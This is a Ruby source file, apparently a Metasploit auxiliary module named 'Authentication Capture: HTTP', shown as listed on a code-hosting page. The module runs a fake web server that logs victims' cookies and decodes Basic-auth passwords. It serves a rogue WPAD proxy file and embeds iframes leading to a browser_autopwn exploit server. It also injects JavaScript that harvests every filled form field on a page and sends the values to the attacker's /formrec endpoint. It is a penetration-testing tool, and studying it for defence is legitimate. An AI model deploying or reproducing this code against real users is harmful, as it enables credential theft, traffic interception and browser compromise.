457 lines
11 KiB
Ruby
457 lines
11 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: HTTP',
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'Version' => '$Revision$',
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'Description' => %q{
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This module provides a fake HTTP service that
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is designed to capture authentication credentials.
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},
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'Author' => ['ddz', 'hdm'],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Capture' ]
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],
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'PassiveActions' =>
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[
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'Capture'
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],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
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OptPath.new('TEMPLATE', [ false, "The HTML template to serve in responses",
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File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "index.html")
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]
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),
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OptPath.new('SITELIST', [ false, "The list of URLs that should be used for cookie capture",
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File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "sites.txt")
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]
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),
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OptPath.new('FORMSDIR', [ false, "The directory containing form snippets (example.com.txt)",
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File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "forms")
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]
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),
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OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]),
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OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]),
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OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]),
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], self.class)
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end
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def run
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@formsdir = datastore['FORMSDIR']
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@template = datastore['TEMPLATE']
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@sitelist = datastore['SITELIST']
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@myhost = datastore['SRVHOST']
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@myport = datastore['SRVPORT']
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@myautopwn_host = datastore['AUTOPWN_HOST']
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@myautopwn_port = datastore['AUTOPWN_PORT']
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@myautopwn_uri = datastore['AUTOPWN_URI']
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@myautopwn = false
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if(@myautopwn_host and @myautopwn_port and @myautopwn_uri)
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@myautopwn = true
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end
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exploit()
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end
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def on_client_connect(c)
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c.extend(Rex::Proto::Http::ServerClient)
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c.init_cli(self)
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end
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def on_client_data(cli)
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begin
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data = cli.get_once(-1, 5)
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raise ::Errno::ECONNABORTED if !data or data.length == 0
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case cli.request.parse(data)
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when Rex::Proto::Http::Packet::ParseCode::Completed
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dispatch_request(cli, cli.request)
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cli.reset_cli
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when Rex::Proto::Http::Packet::ParseCode::Error
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close_client(cli)
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end
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rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
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rescue ::OpenSSL::SSL::SSLError
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rescue ::Exception
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print_status("Error: #{$!.class} #{$!} #{$!.backtrace}")
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end
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close_client(cli)
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end
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def close_client(cli)
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cli.close
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# Require to clean up the service properly
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raise ::EOFError
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end
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def dispatch_request(cli, req)
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phost = cli.peerhost
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os_name = nil
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os_type = nil
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os_vers = nil
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os_arch = 'x86'
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ua_name = nil
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ua_vers = nil
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ua = req['User-Agent']
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case (ua)
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when /rv:([\d\.]+)/
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ua_name = 'FF'
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ua_vers = $1
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when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/
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ua_name = 'IE'
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ua_vers = $1
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when /Version\/(\d+\.\d+\.\d+).*Safari/
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ua_name = 'Safari'
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ua_vers = $1
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end
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case (ua)
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when /Windows/
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os_name = 'Windows'
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when /Linux/
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os_name = 'Linux'
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when /iPhone/
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os_name = 'iPhone'
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os_arch = 'armle'
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when /Mac OS X/
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os_name = 'Mac'
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end
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case (ua)
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when /PPC/
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os_arch = 'ppc'
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end
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os_name ||= 'Unknown'
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mysrc = Rex::Socket.source_address(cli.peerhost)
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hhead = (req['Host'] || @myhost).split(':', 2)[0]
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if (req.resource =~ /^http\:\/+([^\/]+)(\/*.*)/)
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req.resource = $2
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hhead, nport = $1.split(":", 2)[0]
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@myport = nport || 80
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end
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cookies = req['Cookie'] || ''
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if(cookies.length > 0)
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report_note(
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:host => cli.peerhost,
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:type => "http_cookies",
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:data => hhead + " " + cookies
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)
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end
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if(req['Authorization'] and req['Authorization'] =~ /basic/i)
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basic,auth = req['Authorization'].split(/\s+/)
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user,pass = Rex::Text.decode_base64(auth).split(':', 2)
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report_auth_info(
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:host => cli.peerhost,
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:proto => 'http',
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:target_host => hhead,
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:target_port => @myport,
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:user => user,
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:pass => pass,
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:extra => req.resource.to_s
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)
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print_status("HTTP LOGIN #{cli.peerhost} > #{hhead}:#{@myport} #{user} / #{pass} => #{req.resource}")
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end
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if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i)
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prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }"
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: #{hhead}\r\n" +
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"Content-Type: application/x-ns-proxy-autoconfig\r\n" +
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"Content-Length: #{prx.length}\r\n" +
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"Connection: Close\r\n\r\n#{prx}"
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print_status("HTTP wpad.dat sent to #{cli.peerhost}")
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cli.put(res)
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return
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end
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if(req.resource =~ /\/+formrec\/(.*)/i)
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data = Rex::Text.uri_decode($1).split("\x00").join(", ")
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report_note(
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:host => cli.peerhost,
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:type => "http_formdata",
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:data => hhead + " " + data
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)
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: #{hhead}\r\n" +
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"Content-Type: text/html\r\n" +
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"Content-Length: 4\r\n" +
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"Connection: Close\r\n\r\nBYE!"
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print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})")
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cli.put(res)
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return
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end
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report_note(
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:host => cli.peerhost,
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:type => "http_request",
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:data => "#{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers}"
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)
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print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}")
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if(req.resource =~ /\/+forms.html$/)
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frm = inject_forms(hhead)
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: #{hhead}\r\n" +
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"Content-Type: text/html\r\n" +
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"Content-Length: #{frm.length}\r\n" +
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"Connection: Close\r\n\r\n#{frm}"
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cli.put(res)
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return
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end
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# http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt
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if(req.resource == "/update/PatchSequenceFile.txt")
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print_status("HTTP #{cli.peerhost} is trying to play World of Warcraft")
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end
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# Microsoft 'Network Connectivity Status Indicator' Vista
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if (req['Host'] == 'www.msftncsi.com')
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print_status("HTTP #{cli.peerhost} requested the Network Connectivity Status Indicator page (Vista)")
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data = "Microsoft NCSI"
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: www.msftncsi.com\r\n" +
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"Expires: 0\r\n" +
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"Cache-Control: must-revalidate\r\n" +
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"Content-Type: text/html\r\n" +
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"Content-Length: #{data.length}\r\n" +
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"Connection: Close\r\n\r\n#{data}"
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cli.put(res)
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return
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end
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=begin
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# Apple 'Network Status' Check (prevents a pop-up safari on the iphone)
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if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html')
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data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a"
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: www.apple.com\r\n" +
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"Expires: 0\r\n" +
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"Cache-Control: must-revalidate\r\n" +
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"Content-Type: text/html\r\n" +
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"Content-Length: #{data.length}\r\n" +
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"Connection: Close\r\n\r\n#{data}"
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cli.put(res)
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return
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end
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=end
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# Microsoft ActiveX Download
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if (req['Host'] == 'activex.microsoft.com')
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print_status("HTTP #{cli.peerhost} attempted to download an ActiveX control")
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data = ""
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res =
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"HTTP/1.1 404 Not Found\r\n" +
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"Host: #{mysrc}\r\n" +
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"Content-Type: application/octet-stream\r\n" +
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"Content-Length: #{data.length}\r\n" +
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"Connection: Close\r\n\r\n#{data}"
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cli.put(res)
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return
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end
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# Sonic.com's Update Service
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if (req['Host'] == 'updateservice.sonic.com')
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print_status("HTTP #{cli.peerhost} is running a Sonic.com product that checks for online updates")
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end
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# The google maps / stocks view on the iPhone
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if (req['Host'] == 'iphone-wu.apple.com')
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case req.resource
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when '/glm/mmap'
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print_status("HTTP #{cli.peerhost} is using Google Maps on the iPhone")
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when '/dgw'
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print_status("HTTP #{cli.peerhost} is using Stocks/Weather on the iPhone")
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else
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print_status("HTTP #{cli.peerhost} is request #{req.resource} via the iPhone")
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end
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end
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# The itunes store on the iPhone
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if(req['Host'] == 'phobos.apple.com')
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print_status("HTTP #{cli.peerhost} is using iTunes Store on the iPhone")
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# GET /bag.xml
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end
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# Handle image requests
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ctypes =
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{
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"jpg" => "image/jpeg",
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"jpeg" => "image/jpeg",
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"png" => "image/png",
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"gif" => "image/gif",
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}
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req_ext = req.resource.split(".")[-1].downcase
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if(ctypes[req_ext])
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ctype = ctypes['gif']
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data =
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"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00" +
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"\x00\xff\xff\xff\xff\xff\xff\x2c\x00\x00\x00\x00" +
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"\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: #{mysrc}\r\n" +
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"Content-Type: #{ctype}\r\n" +
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"Content-Length: #{data.length}\r\n" +
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"Connection: Close\r\n\r\n#{data}"
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cli.put(res)
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return
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end
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buff = ''
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if(@myautopwn)
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buff << "<iframe src='http://#{@myautopwn_host}:#{@myautopwn_port}#{@myautopwn_uri}'></iframe>"
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end
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list = File.readlines(@sitelist)
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list.each do |site|
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next if site =~ /^#/
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site.strip!
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next if site.length == 0
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buff << "<iframe src='http://#{site}:#{@myport}/forms.html'></iframe>"
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end
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data = File.read(@template)
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data.gsub!(/%CONTENT%/, buff)
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res =
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"HTTP/1.1 200 OK\r\n" +
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"Host: #{mysrc}\r\n" +
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"Expires: 0\r\n" +
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"Cache-Control: must-revalidate\r\n" +
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"Content-Type: text/html\r\n" +
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"Content-Length: #{data.length}\r\n" +
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"Connection: Close\r\n\r\n#{data}"
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cli.put(res)
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return
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end
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def inject_forms(site)
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domain = site.gsub(/(\.\.|\\|\/)/, "")
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domain = "www." + domain if domain !~ /^www/i
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while(domain.length > 0)
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form_file = File.join(@formsdir, domain) + ".txt"
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form_data = ""
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if (File.readable?(form_file))
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form_data = File.read(form_file)
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break
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end
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parts = domain.split(".")
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parts.shift
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domain = parts.join(".")
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end
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%|
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<html>
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<head>
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<script language="javascript">
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function processForms() {
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var i = 0;
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while(form = document.forms[i]) {
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res = "";
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var x = 0;
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var f = 0;
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while(e = form.elements[x]) {
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if (e.name.length > 0 && e.value.length > 0 && e.value != "on"){
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res += e.name + "=" + e.value + "\x00";
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f=1;
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}
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x++;
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}
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if(f) {
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url = "http://"+document.domain+":#{@myport}/formrec/" + escape(res);
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fra = document.createElement("iframe");
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fra.setAttribute("src", url);
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fra.style.visibility = 'hidden';
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document.body.appendChild(fra);
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}
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i++;
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}
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}
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</script>
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</head>
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<body onload="processForms()">
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#{form_data}
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</body>
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</html>
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end
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end
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